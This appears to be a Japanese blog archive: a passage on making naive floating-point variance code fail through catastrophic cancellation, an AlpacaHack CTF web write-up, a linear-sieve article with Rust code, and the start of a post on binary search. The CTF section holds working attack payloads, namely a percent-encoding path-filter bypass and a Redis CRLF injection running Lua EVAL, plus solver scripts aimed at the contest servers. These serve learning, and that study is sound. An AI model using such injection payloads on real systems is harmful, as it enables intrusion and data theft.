整数列 $a = (a_1, a_2, \dots, a_n)$ に対して、分散 $$ \frac1n\sum_{i=1}^n a_i^2 - \left(\frac1n\sum_{i=1}^n a_i\right)^2 $$ を求めよ。$n$ は $15$ 以下、$a_i$ は $10^8$ 以下の正整数とし、許容誤差は $10^{-6}$ とする。

use proconio::input;

fn main() {
    input! {
        n: usize,
        a: [i64; n],
    }
    let sum1: i64 = a.iter().sum();
    let sum2: i64 = a.iter().map(|ai| ai * ai).sum();
    let avg1 = sum1 as f64 / n as f64;
    let avg2 = sum2 as f64 / n as f64;
    let res = avg2 - avg1 * avg1;
    println!("{res}");
}

$(s_1, s_2) = (\sum a_i, \sum a_i^2)$ とし、これらは整数型で計算してしまいます。また、値の範囲から $\roundp{s_1} = s_1$ です。 計算される値は、 $$ (\roundp{s_2}\oslash n)\ominus \bigroundp{(s_1\oslash n)^2} $$ となります。

単純な例

$15$ 個も使うことを考えるのは大変ですので、とりあえず $n=2$ で考えてみましょう。 一般に、正規化数の範囲では $x\oslash 2 = \tfrac x2$ や $x\otimes 2 = 2x$ なので、 $$ \begin{aligned} (\roundp{a_1^2+a_2^2}\oslash 2)\ominus \bigroundp{( (a_1+a_2)\oslash 2)^2} &= \frac{\roundp{a_1^2+a_2^2}}2\ominus \biggroundp{\left(\frac{a_1+a_2}2\right)^2} \\ &= \frac{2\roundp{a_1^2+a_2^2} \ominus \roundp{(a_1+a_2)^2}}4 \\ &= \frac{\roundp{2a_1^2+2a_2^2} \ominus \roundp{a_1^2+2a_1a_2+a_2^2}}4 \end{aligned} $$ となります。

結局、$2a_1^2+2a_2^2$ と $a_1^2+2a_1a_2+a_2^2$ が誤差を含む近い値であれば catastrophic cancellation で落とせそうです。 単純に $(a_1, a_2) = (10^8, 10^8-1)$ で試したところ、真の値が $0.25$ なのに対し、計算結果は $0$ となってくれました。 また、$(a_1, a_2) = (10^8, 10^8-2)$ とすると、真の値が $1$ なのに対し、計算結果は $2$ となりました。 後者のケースでは、絶対誤差も相対誤差も $1$ であり、許容誤差を大きく上回っています。

大きめの例

DFS してみました。$a_i \approx 10^8-\varepsilon$ の範囲で適当に探索します。

$a = (99999996)\concat(99999995)^8$ のケースで、真の値が $\tfrac8{81}$ のところ $4$ となり、絶対誤差が $\tfrac{316}{81} \approx 3.90$、相対誤差が $39.5$ となりました。 絶対誤差を大きくすることに関してであれば、 $$ a = (100000000)^8\concat(99999999)\concat(99999994)\concat(99999990)^4\concat(99999989) $$ などで $\tfrac{956}{225}\approx 4.25$ になりました。

上の（小さい方の誤差が $3.90$ 程度の）例においては、$(s_1, s_2) = (899999956, 89999991200000216)$ です。

$$ \begin{aligned} 899999956\oslash 9 &= \tfrac19(899999956-2^{-24}), \\ \roundp{(899999956\oslash 9)^2} &= \tfrac1{81}(899999956^2 - 172) \\ &= 9999999022222244, \\ \roundp{89999991200000216} &= 89999991200000216 + 8, \\ \roundp{89999991200000216}\oslash 9 &= \tfrac19(89999991200000216 + 16) \\ &= 9999999022222248. \end{aligned} $$

最終的な答えは $9999999022222248 \ominus 9999999022222244 = 4$ なので、たしかに catastrophic cancellation が起きているなあという気持ちになりますね。

上記コードの改善

撃墜されないコードを書かないといけない気がするので、示しておきましょう。

上記の例で見てきたように、撃墜するときには catastrophic cancellation をさせたがるので、防御側（？）のときは catastrophic cancellation が起きないように気をつけましょう。 とにかく、足し算引き算をするたびに下記のことをチェックするくらいがちょうどいいでしょう（割り算をするたびに分母が $0$ になることがないかチェックするのと同様に*8）。 下記は引き算ベースで書いていますが、足し算なら符号の部分は逆にして読んでください。

• どちらの項も誤差を含まないなら ok
  • そういう場合は benign cancellation なので大丈夫。
  • 引き算自体によって誤差が出ることはあり得るので、その計算結果を使うときは注意。
• 上記が ok でなくても、符号が常に異なるなら ok
  • cancellation にならないため。
• 上記が ok でなくても、絶対値が同程度にならないなら ok
  • cancellation にならないため。
  • 多くの場合、同程度になるケースを構築できるはずなので気をつける。

これが ok であることを示せないなら、式変形する方針で考察を進めた方がよさそうです。 分子と分母をそれぞれ整数型で計算できる形にしてしまうのがよいでしょう。$m/n$ の形になったら、誤差は $$\gamma_3 = \frac{3\cdot 2^{-53}}{1-3\cdot2^{-53}}\approx3.34\times10^{-16}$$ を用いて $$ |{{m/n}-(\roundp m\oslash\roundp n)}| \le \hfloor{m/n}\cdot \gamma_3 $$ 程度で抑えられる（分子と分母の丸めで 2 回、除算で 1 回の誤差）ので、まず問題ないと思います。

あるいは、分子・分母が 64-bit 整数でオーバーフローせずに計算できる前提であれば、分子・分母は long double を用いての計算で catastrophic cancellation は起きない*9ので、（double で落ちたからとりあえず long double にしてみたという、ありがちな未証明解法は）正当な解法になると思います。

Rust ã‚„ Python などの long double を気軽に使えない言語では（BigRational ã‚„ Decimal などを適切に使うか、）整数型を適切に使うコードを書く必要があるでしょう。

use proconio::input;

fn main() {
    input! {
        (x0, y0, x1, y1): (i64, i64, i64, i64),
    }
    let res = (x0 * y1 - x1 * y0) as f64 / (x0 - x1) as f64;
    println!("{res}");
}

分散の方も次のように変形できます。分子・分母を浮動小数点数で計算した場合は、一次関数 (2) の例と同様にして撃墜できるはずです。特に試してはいません。

$$ \begin{aligned} \frac1n\sum_{i=1}^n a_i^2 - \left(\frac1n\sum_{i=1}^n a_i\right)^2 &= \frac1{n^2}\left(n\sum_{i=1}^n a_i^2 - \left(\sum_{i=1}^n a_i\right)^2\right) \end{aligned} $$

use proconio::input;

fn main() {
    input! {
        n: usize,
        a: [i64; n],
    }
    let sum1: i64 = a.iter().sum();
    let sum2: i64 = a.iter().map(|ai| ai * ai).sum();
    let num = sum2 * n as i64 - sum1 * sum1;
    let den = n as i64 * n as i64;
    let res = num as f64 / den as f64;
    println!("{res}");
}

当然、分子の計算においてオーバーフローしないことは確認しておきましょう。 $$ \begin{aligned} n\sum_{i=1}^n a_i^2 &\le 15\cdot \sum_{i=1}^{15} {(10^8)^2} \\ &= 15\cdot 15\cdot (10^8)^2 \\ &= 225\cdot 10^{16} \\ &= 2.25\cdot 10^{18}\lt 2^{63}, \\ \left(\sum_{i=1}^n a_i\right)^2 &\le \left(\sum_{i=1}^{15} 10^8\right)^2 \\ &= (15\cdot 10^8)^2 \\ &= 2.25\cdot 10^{18}\lt 2^{63}. \end{aligned} $$

分子・分母の計算でオーバーフローが起きる場合はどう対処すればいいんでしょう。 場合によっては、$2^{64}$（あるいは $2^{128}$）で割ったときの商とあまりに分けたりしながら計算？（簡易的な多倍長整数っぽい感じで）

ジャッジ

一次関数の例は、ABC 385 F で試せます。$N=2$ として考えています。 WA になっている提出を適当に漁って、hack の練習をしてみるのもよいでしょう。

この問題の設定においては、$(x_0, y_0, x_1, y_1) = (175337, 3, 2x_0, 2y_0)$ とすることで、$-2^{-51} \lt 0$ などを出力させて撃墜させることもできます（long double ã‚„ Decimal などにも有効）。

紹介したケースたち

2
45 500000000
90 1000000000

2
29 500000000
58 1000000000

2
175337 3
350674 6

2
11 500000000
22 999999999

2
39 500000000
78 999999999

2
71458659 124836799
72151796 126047695

2
707085728 707127834
707085729 707127835

2
962214805 931734628
965940272 935342083

2
999999990 500000004
999999992 500000005

2
126047695 124836799
198199491 196295458

分散の例は ABC 332 E で試せます。簡単のために $N=D$ としてよいでしょう。 こちらも WA の提出たちで遊ぶとよさそうです。

紹介したケースたち

2 2
100000000 99999998

9 9
99999996 99999995 99999995 99999995 99999995 99999995 99999995 99999995 99999995

15 15
100000000 100000000 100000000 100000000 100000000 100000000 100000000 100000000 99999999 99999994 99999990 99999990 99999990 99999990 99999989

いざ WA をもらった後の話として、（誤差関連に限らないですが、）そのコードは敵（？）が書いたものだと思い込むことで、意地悪なケースを考えやすくなるというのはあると思っています。 味方（？）が書いたと思って「どこも間違ってないよねえ？」と読むよりは、「これぜってえ間違ってんだろ、落としてやるから見てろ」くらいの気持ちの方が積極的になれる気がします。 落とすときの定番としては、catastrophic cancellation を起こさせるような入力をこねこねすることになると思います。 起こさせるにあたっては、記事で挙げたようなケースの存在を知っておくと、「これをベースに似たようなことできるよね」としやすいんじゃないかなという気がします。

そういう練習として、WA になっている（実際の他人の）コードを読んで実際にケースを構築する遊びというのは有効だと思います。

所感

元々、ABC 385 F の解説 の焼き直し程度の記事になる予定だったのですが、書いている途中に解説の記載ミスに気づいたり、解説に書いていたものより大きい誤差のケースを構築できたりしたので、よい気持ちになりました。

他にもありがちな簡単な例題があれば追記していきたいなと思っています。 「こういう計算方法だとこういうときにこんなに誤差が出ますよ＾＾」と知っていると、なんとなく優越感めいたものが生じますよね。

お気持ち表明パート

（ここを本編だと思っている人もいます、たぶん）

そもそも、以前の「お近づきになりたい人向けの記事」を書いたときにも思ったことですが、浮動小数点型と仲よしの人が（競プロ界隈に限らず）少なそうという気持ちがあります。 ネットで調べて出てくる記事の大半は怪しいことを書いていますし、（数式を用いての解析がないのは当然として）解像度の低い自然言語でのふわっとした話が書かれていがちです。 そもそも「浮動小数」と書いている人の理解度に期待する方が間違っているというのはそうだと思っています。

概ね下記の記事でカバーされるような類の誤解をしている方が多そうなので、読んでほしいです。

qiita.com

「お金など、厳密さが求められる文脈で浮動小数点型を用いるのは不適切」という旨の主張自体は特に反論はない（というか同意します）のですが、「多くの状況で浮動小数点型を避けたまま生きていて、どうしても必要になった文脈で浮動小数点型を使い、知識がないから変なミスをして嫌な印象を抱く」のような生き方の人が多い気はしていて、それは好ましくないよなあという気持ちがあります。

競プロ界隈の人々も「誤差は妖精さんが気分で混ぜているもので、人間はどうしようもできない」みたいな解像度の低さなのかな？と思ったりしていますが、実際どうなんでしょうね。最近は界隈の人口増加に伴って、数学に明るくない人もたくさんいる気はしますし、界隈で好まれがちな数学の分野（組合せ数学とか）とも違う気もしますが、数式で捌ける部分もしばしばあるので、もっと理解ある若人が増えてくれたらな〜という気はしています。 整数の証明問題に強い人は活躍できそう？という気もしています（指数部をずらした後は整数性を使って議論しがちだったりしますし）。活躍したいかは別の問題かもしれません。

昨今の風潮的には数え上げとか最適化とかが人気がちで、幾何とかは下火だったりするんですかね？ 昔から「誤差が絡んでくるジャンルと言えば幾何、幾何と言えば厄介」みたいな風潮はありがちな気はします。自分も概ねそういう感じではあったのですが、十何年も続いている界隈でずっとこういう実態なのは微妙じゃない？という気持ちはあります。 蟻本でも誤差に関する部分はあまり詳細には書かれていないですし、ネットにもまともな教材がほぼないですし、ぐぬぬという感じです。

そもそも（アカデミック界隈で？）“geometry” と呼ばれる分野は、当然のように平衡木を使って平面走査をするとかをしがちで、あまり AtCoder の思想とは沿わない部分がありそうですし、まぁ流行らないのも無理はないよな〜という気持ちはあります。

各数学関数を正確に丸めた (correctly-rounded) ものを返してくれるアルゴリズムを知りたいよな〜という気持ちはありつつ、界隈目線で言えば、「そんなものを欲するより、まずはこういう基礎的な誤差を回避するノウハウを広める方が先なんじゃないのか？」という気持ちにもなってきます。 別に界隈への貢献を意識する必要はなくて、自分の興味ベースで好きなことを学べばいいやというのが基本スタンスではあるんですが、（冒頭に挙げたような）ツイートたちを見るとそういう気分にもなりますよね。

「自分はこういう考察を（無限精度の前提で）しました」「自分はこういう実装を（精度を気にせず素朴に）しました」というステップを踏みがちで、「この実装だとこういう部分でこれくらいの誤差が出る」というのを気にする必要があるとすら思っていない人が多いのかな？と思ったり、でもどうやって意識してもらったらいいんでしょうと思ったりです。 計算量の意識に関してもそうですが、そもそもそういう意識がない（数学にもそこまで明るくない）タイプの初心者にやってもらうのって難しさがありますよね。

「割り算の前には 0 にならないかを意識する」「ポインタを使う前には null でないことを意識する」とか、そういうのってどうして見落とされてしまうのでしょう。 / キーを押すたびに「引数チェックした？」というポップアップが出てきて、同意ボタンを押さないと進めないみたいにした方が安全なんじゃないですか？ 「多くの場合は問題ないから」とかは、なにも気にしなくていい理由にはならないと思うんですよね。

というか緑とかの人との関わりが最近あまりなく、実態がよくわからんので全てを想像で話しているんですよね。最近の人々は実際どういう感じなんですか？

とはいえ、「昔の自分が読めたらうれしかっただろうな」というような内容を出しているつもりではあります。たぶん未来の自分が読んでもある程度うれしい内容になっている気はします*10。 こういう「実は知らなくて」みたいな系統のトピックを調べながら余生を過ごしたいなという感じです。

おわり

おわりです。

*1:レーティング分布を見ると、そもそも経験が浅い人が多数派な気もしますね。

*2:IEEE 754 に従っている前提です。

*3:hack する側の視点で言っています。

*4:探索の際には、任意のビット長の浮動小数点型の挙動を模倣する自作クラスを使いました。

*5:浮動小数点数 $x$, $y$ が $x\approx y$ のとき $x\ominus y=x-y$ となることが示せます (Sterbenz’s lemma) が、それとは別の話です。

*6:$x_0y_1$ は $10^{18}$ 以下の任意の正整数を取れるわけではないです。$10^9$ を超える素数にはなれません。$10^9+7$ などですね。

*7:「大きい誤差出てくれーッ」と祈る人になっていてかわいそう（タイトル回収）という気持ちになりました。賢い人が見ればもっとうまくできるものなのですかね。

*8:割り算をするときにもそういうチェックをしない人が多数派だったりしますか？ たすけて〜

*9:誤差を含まないので ok、の部分で pass できるため。

*10:未来のえびちゃん見てますか 👋

write-up: AlpacaHack Round 7 (Web)

AlpacaHack Round 7 (Web) に参加しました。えびちゃん的には初めての CTF のコンテストです。

自分語り

シェルスクリプトでごにょごにょやったり、インジェクションのことを考えたりするのは好きなので、うまいことハマれば CTF は好きそうなのかな？というふんわりした気持ちは何年か前からあったのですが、常設の CTF サイトのよさそうなものがわからなかったり、始め方がいまいちわからなかったりでなんとなく敬遠していました。 AlpacaHack には半月くらい前に登録して、Challenge Archive から（Welcome を除いて、）Web を 2 つ、Pwn を 5 つ、Rev と Crypto を 1 つずつ解きました。

元々（競プロをする前から）バイナリファイルを読むの自体はやっていて、そういう部分とはある程度仲よしだったと思います。お友だちコマンドは hexdump -C です。 最近は、OpenSSL の証明書や秘密鍵のファイル（PEM ã‚„ DER 形式のやつ）を読んで楽しんでいました。 というか、それを読みながら「RSA 用の鍵ってこういう風にエンコードされてるのね〜」「そういえば、CTF だと RSA 関連の問題が出るんだったよね〜」と思って、「AlpacaHack っていうのが最近話題になってたし、始めてみようかね〜」となったのが始めた経緯でした。

Crypto に関しては、競プロで慣れているような群の話もありつつ、ワードサイズには収まらない値が当然だったりして前提が結構違うなという気持ちがあります。 まだまだ知らないアルゴリズムがたくさんあるんだな〜というところです。たとえば LLL というのはなんですか（名前だけは無限回聞いている）。

今回のコンテストの話

シェルの出力は、#> から始まる行で示し、出力の省略は #: で示します。

Treasure Hunt

まず web/Dockerfile を読みます。FLAG_PATH は（MD5 ハッシュに基づく）深い階層のパスっぽいので、とりあえずローカルで見てみます。

% docker exec -it treasure-hunt-treasure-hunt-1 bash
I have no name!@b557aca14e98:/app$ ls -R
#:
#> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x:
#> t
#:

I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t 
#> Alpaca{REDACTED}

というわけで http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t にアクセスできればいいんですが、/[flag]/ にマッチするとだめらしいので考えます。URL が case-insensitive だったらうれしいなと思って http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t としてみましたがだめらしいので、もうちょっと考えます。

% curl http://localhost:3000/drum
#> 🥁

% curl http://localhost:3000/dru%6d
#> 🥁

curl だと %-encode しても意図したものが返ってきてくれていそうです。これを decode しているのが curl 側なのかサーバ側（の判定箇所以降）なのかがこの段階では（事前知識なしでは）判断できないですが、とりあえず後者だったらうれしいので後者だとして進めます。

% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t
#> Alpaca{REDACTED}

あ〜〜。ということで、あとは実際のサーバにおけるパスを特定する方法を考えます。

とりあえず、存在することを知っているディレクトリとして /3 があるので、そこにアクセスしてみます。

% curl -i http://localhost:3000/3
#> HTTP/1.1 301 Moved Permanently
#:
#> Location: /3/
#:

% curl -i http://localhost:3000/4
#> HTTP/1.1 404 Not Found
#:

あ〜。ステータスコードで判断できそうですね。

Python で requests.get(url, allow_redirects=False).ok をしようとしましたが、%-encode まわりが期待通りにいってくれないようだったので、ソルバは Zsh で書きました。

BASE_URL=http://34.170.146.252:19843

escape() {
    echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67}
}

query() {
    echo "GET $1"
    local target_path=$(escape $1)
    response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path")
    [[ $response != 404 ]]
}

target_path=
for _ in {1..32}; do
    for x in {0..9} {a..f}; do
        if query "$target_path/$x"; then
            target_path+=/$x
            break
        fi
    done
done

echo $target_path

curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")

% zsh solve.zsh
#:
#> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> Alpaca{*************************}

Alpaca Poll

各ファイルを読んでいきます。

    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    const message = `INCR ${animal}\r\n`;

あからさまに「ここをやってください」と書いてくださっているので、ここを見ていきます。 Redis を使っているようなので、まずは（具体的なインジェクションのことは忘れて）Redis でどうしたら取得できるかを考えます。

% docker exec -it alpaca-poll-alpaca-poll-1 bash
I have no name!@6439a1641d16:/app$ redis-cli
127.0.0.1:6379> incr dog
#> (integer) 18
127.0.0.1:6379> incr dog
#> (integer) 19
127.0.0.1:6379> get flag
#> "Alpaca{REDACTED}"

Redis のコマンドはあまり知らないので、ドキュメントを読みます。なんらかのことをした結果の整数値が得られるので、「フラグの $i$ 文字目の ASCII としての値」みたいなのが得られるコマンドがあるとうれしいです。 EVAL や Scripting with Lua を見つけたので、もうどうにでもできそうです。

I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag
#> (integer) 65
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag
#> (integer) 108

これにはえびちゃんもにっこりです。あとは、INCR ${animal} の部分でどう EVAL を実行するかを考えればよさそうです。 とりあえず、うまくいっているかをわかりやすく調べたいので、INCR dog ã‚’ 2 回実行するようなことができるかを試してみます。

% curl http://localhost:3000/vote -d 'animal=dog;incr dog'
#> {"error":"something wrong"}

とりあえず ; 区切りにしてみましたが、Redis はそういう感じの子ではないらしいです。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":24}

\n の消え方を試してみます。試行錯誤したり、とりあえずたくさん INCR したりして気分転換したりしました。 そういえば JavaScript での全置換って replaceAll ってだよね？と思って、あ〜となりました。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":327}

% curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog'
#> {"dog\nincr dog":328}

% curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog'
#> {"dog\r\nincr dog":330}

お？ 2 つずつ増えていますね。キーがめちゃくちゃになっていますが、結局欲しいのは値の方なのでどうでもいいですね。 見た感じ、最初のコマンドの結果が返ってきてしまっていそうで、二つ目のコマンド（すなわち、インジェクションして EVAL したいやつ）の返り値を得るためにはもう少し考える必要がありそうです。とりあえず INCR の引数はなしにしてしまってエラー扱いにしたら、後者だけ返ってきてくれないですかね（おいのり）。

% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag'
#> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}

あ〜〜たすかります。フラグは Alpaca{...} だと知っているので、A であるところの 65 が返ってきてくれてうれしいですね。

あとはそういうソルバを書けばいいですね。

import json

import requests

BASE_URL = "http://34.170.146.252:7782"


def query(i):
    url = f"{BASE_URL}/vote"
    animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag"
    res = requests.post(url, data={"animal": animal})
    resj = json.loads(res.text.encode())
    return ("error" not in resj) and chr([*resj.values()][0])


for i in range(1, 200):
    r = query(i)
    if not r:
        break

    print(r, end="")

print()

% python solve.py
#> Alpaca{******************}

minimal-waf・disconnection

うむむうわからないですね。

こういう Admin Bot みたいなのって汎用グッズ（？）みたいなやつなんですか？ Challenge Archive のところでも見かけた記憶があります。

% curl 'http://localhost:3000/view?html=script'
#> XSS Detected: script

% curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x'
#> script

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}'
#> OK

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}'
#> OK

ふーむ？ うーん......？

bot/bot.js の url には好きなことを書けそうなので、そこになんかするんですか？

    await page.goto(url, { timeout: 5_000 });

結局やることがいまいちよくわからずで、前日あまり寝られてないのもあり、そのまま寝てしまいました。 そもそもの定番としての知識みたいな部分が欠けてそうな気がします。

コンテスト後

起きました。寝る前は 7 位だったのですが、起きたら 8 位になっていました。 十分よい順位なのではないでしょうか。えびちゃんは（競プロでも）競技パートにはあまり興味がないのですが、とはいえ (小さめの整数)/(大きめの整数) を見るとうれしい気持ちになってしまいます。

一旦寝てから参加するか迷っていたのですが、2 完早解きでのよい順位だったので、がんばって参加しておいてよかったなと思いました。

ABC にも参加しましたが、20 分くらい遅刻したので微妙な感じでした（遅刻を抜きにしても、もっと早く解けという感じの出来ではありました）。

write-up を書くと非常に歓迎してもらえるらしいので書きました。

歓迎されます 非常に

— keymoon​ (@kymn_) November 30, 2024

おしゃべり

いろいろとまだまだ知らないことが多いので、お勉強していきたいな〜という気持ちです。

最初のうちは、他に人の write-up とかを（ネタバレはある程度避けつつも、それなりには覚悟して）ばーっと読んでいって吸収していくのがいいのかな？と思ったりしています。たとえば下記を読んだりしました（後者はまだ前半しか読んでないです）。

keymoon.hatenablog.com

ptr-yudai.hatenablog.com

これらもちゃんと読みたいです。

furutsuki.hatenablog.com

mitsu1119.github.io

radareorg/radare2 とか pwntools とかを触ったりしていますが、まだちゃんと使いこなせていないというか、うれしさを活かしきれていない感じがありますね。

楕円曲線とか、格子関連のなにか（？？？）とか、Pollard の $\rho$ 法や $p-1$ 法など、仲よしになりたいトピックはいろいろありますが、焦らずゆっくりやっていきましょうかねえというところです。CTF 以外にもやりたいお勉強はたくさんあって、エルフか忍者になりたい気持ちが強まります。

とりあえずは、競プロでいうところの「とりあえず愚直に書いたときの計算量を考える」「定番の高速化手法を知る（累積和とか座圧とか）」「こういう類のものは DP・にぶたん・etc.」くらいのレベルの、基礎的な感覚を養いたいなという気持ちがあります。

おわり

おわりです。

線形篩で遊ぼう

線形篩と呼ばれているアルゴリズム・データ構造があります。

「線形時間で前計算できる何々」を「線形何々」と呼ぶのは不適切ですか、もしかして？*1

$\gdef\lpf{\operatorname{lpf}}$

ざっくり紹介

線形篩の構築は、各 $i$ ($2\le i\le n$) に対して 最小素因数 (least prime factor) $\lpf(i)$ を求めるものであり、これを $O(n)$ 時間で行います。 これにより、$i$ の素数判定を $\lpf(i) = i$ でできるわけです。

また、構築の過程で $n$ 以下の素数の列挙も行うので、素数の列挙をしたいときにはそのまま使うこともできます。

構築に関して

下記の考察に基づきます。

整数 $i\ge 2$ に対して、$j\le\lpf(i)$ なる各素数 $j$ に対して $\lpf(i\times j) = j$ が成り立つ。 よって、（配る DP によって）$\lpf(i)$ が求められたら、$j\le\lpf(i)$ なる各素数に対して $\lpf(i\times j)$ が求められる。

DP をしていく際に、$i$ への更新が行われないまま $i$ から配るターンになったら、$i$ が素数であることがわかるので、素数のリストに $i$ を加える。 各 $i$ に対して、更新は $i/{\lpf(i)}$ からしか行われないため、全体として $O(n)$ 時間であることがわかる。

発展編

最小素因数を考えながら DP をできるものがしばしばあります。 たとえば、（重複を含めた）素因数の個数が挙げられます。 $i$ の（重複を含めた）素因数の個数を $\Omega(i)$ とおく*2と、

$$ \Omega(i) = \begin{cases} 0, & \text{if }i = 1; \\ \Omega(i/{\lpf(i)}) + 1, & \text{otherwise} \end{cases} $$ と書けます。

$\gdef\ord{\operatorname{ord}}$

非負整数 $i$ が素数 $p$ で割り切れる回数を $\ord_p(i)$ と書くことにし、$i$ が最小素因数で割り切れる回数を $c(i) = \ord_{\lpf(i)}(i)$ とします。 また、便宜上 $\lpf(1) = 0$ としておきます*3。

$$ c(i) = \begin{cases} 0, & \text{if }i = 1; \\ 1, & \text{if }{\lpf(i)} \ne {\lpf(i/{\lpf(i)})}; \\ c(i/{\lpf(i)}) + 1, & \text{otherwise}. \end{cases} $$

同様の分岐で $+1$ ではなく $\times{\lpf(i)}$ などを考えることで、$\lpf(i)^{c(i)}$ を求めることもできます。

愚直に関して

各 $i$ に対して、愚直に割り続けて回数を調べる方法でも、全体で $O(n)$ 時間を達成できるらしいです。 ${1.77315667\ldots}\times n$ くらいらしいです？ $\eod$

より一般に、乗法的関数 (multiplicative function) $f(n)$ について考えます。乗法的関数とは、下記を満たす関数のことです。

• $f(1) = 1$,
• $\gcd(u, v) = 1 \implies f(uv) = f(u)f(v)$.

$n = p_1^{e_1}\cdots p_k^{e_k}$ と素因数分解できるなら $f(n) = f(p_1^{e_1})\cdots f(p_k^{e_k})$ と書くことができます。

さて、乗法的関数であって以下を満たすものを考えます。

• $f(p)$ は $p$ から計算できる。
• $i\gt 1$ に対して、$f(p^i)$ は $p$, $p^{i-1}$, $f(p^{i-1})$ から計算できる。

このとき、各 $i$ に対する $f(i)$ が DP によって求めることができます。

実装

Euler の $\phi$ 関数や、約数の総和などを求めています。便宜上、$f(0)$ として使う値も渡してみていますが、T::zero() とかにしてもよいかもしれません？

use std::ops::Mul;

use num_traits::One;

fn main() {
    let ls = LpfSieve::new(20);
    println!("{ls:?}");

    let phi = ls.dp(0, 1, |&x, p| x * p, |&x, p| x * (p - 1));
    println!("{phi:?}");
    
    let phi = ls.mulfn(0, |p| p - 1, |p, _pp, x| x * p);
    println!("{phi:?}");

    let sigma = ls.mulfn(0, |p| p + 1, |p, pp, x| x + p * pp);
    println!("{sigma:?}");
}

#[derive(Debug)]
struct LpfSieve {
    lpf: Vec<usize>,
}

impl LpfSieve {
    pub fn new(n: usize) -> Self {
        let mut lpf: Vec<_> = (0..=n).collect();
        let mut primes = vec![];
        for i in 2..=n {
            if lpf[i] == i {
                primes.push(i);
            }
            let lpf_i = lpf[i];
            for &j in primes.iter().take_while(|&&j| j <= lpf_i.min(n / i)) {
                lpf[i * j] = j;
            }
        }
        Self { lpf }
    }
    pub fn dp<T>(
        &self,
        x0: T,
        x1: T,
        mut eq: impl FnMut(&T, usize) -> T,
        mut gt: impl FnMut(&T, usize) -> T,
    ) -> Vec<T> {
        let n = self.lpf.len() - 1;
        if n == 0 {
            return vec![x0];
        } else if n == 1 {
            return vec![x0, x1];
        }
        let mut res = vec![x0, x1];
        res.reserve(n + 1);
        for i in 2..=n {
            let lpf = self.lpf[i];
            let tmp = if lpf == self.lpf[i / lpf] {
                eq(&res[i / lpf], lpf)
            } else {
                gt(&res[i / lpf], lpf)
            };
            res.push(tmp);
        }
        res
    }
    pub fn mulfn<T>(
        &self,
        f0: T,
        mut fp: impl FnMut(usize) -> T,
        mut fpi: impl FnMut(usize, usize, &T) -> T, // p, p^{i-1}, f(p^{i-1})
    ) -> Vec<T>
    where
        T: One + Clone,
        for<'a> &'a T: Mul<&'a T, Output = T>,
    {
        let x0 = (f0.clone(), f0.clone(), 1);
        let x1 = (T::one(), T::one(), 1);
        let eq = |(lt_f, eq_f, pp): &(T, T, usize), p: usize| {
            (lt_f.clone(), fpi(p, *pp, eq_f), pp * p)
        };
        let gt = |(lt_f, eq_f, _): &(T, T, usize), p: usize| {
            (lt_f * eq_f, fp(p), p)
        };
        self.dp(x0, x1, eq, gt)
            .into_iter().map(|(lt_f, eq_f, _)| lt_f * eq_f).collect()
    }
}

練習問題

Möbius の $\mu$ 関数や約数の個数なども求めてみましょう。

素因数の個数は ABC 368 F など。

おわり

おなかがすきました。

*1:「線形 RMQ」「線形 LCA」「線形 LA」など。

*2:オーダー記法の一つであるところの $\Omega(f(n) )$ と紛らわしいですが、ここでは登場しないので許されておきます。

*3:ここに関しては、文脈に応じて DP を回しやすいように定義するとよいでしょう。$\infty$ だと思ってもよい場合もあるかも。

抽象化ライブラリの第一歩としての二分探索

「競プロライブラリにおける抽象化と言えばセグ木」みたいな風潮ができてから久しいですが、二分探索に関してそうした抽象化を意識している人はあまり多くない気がしています。

おきもち

たとえば、「ソートされた配列が欲しい」の気持ちのときにいちいちソートの実装を書かされるのはうれしくないはずです。 main 関数にいちいちソートの実装をベタ書きしている人も滅多にいないでしょう。

あるいは、「$0$ 以上 $n$ 未満の整数を順に回したい」と思っているときに「まず $i = 0$ で初期化する。$i \lt n$ である間、$i \xgets+ 1$ で更新する」という “内部実装” を書く必要があるのもうれしくないです。C++ 系の言語を使っていて REP マクロを使っていない人にとっては、そういうベタ書きは当然のものだと思われているでしょうが、ちょっと落ちついて考え直してみてほしいです*1。

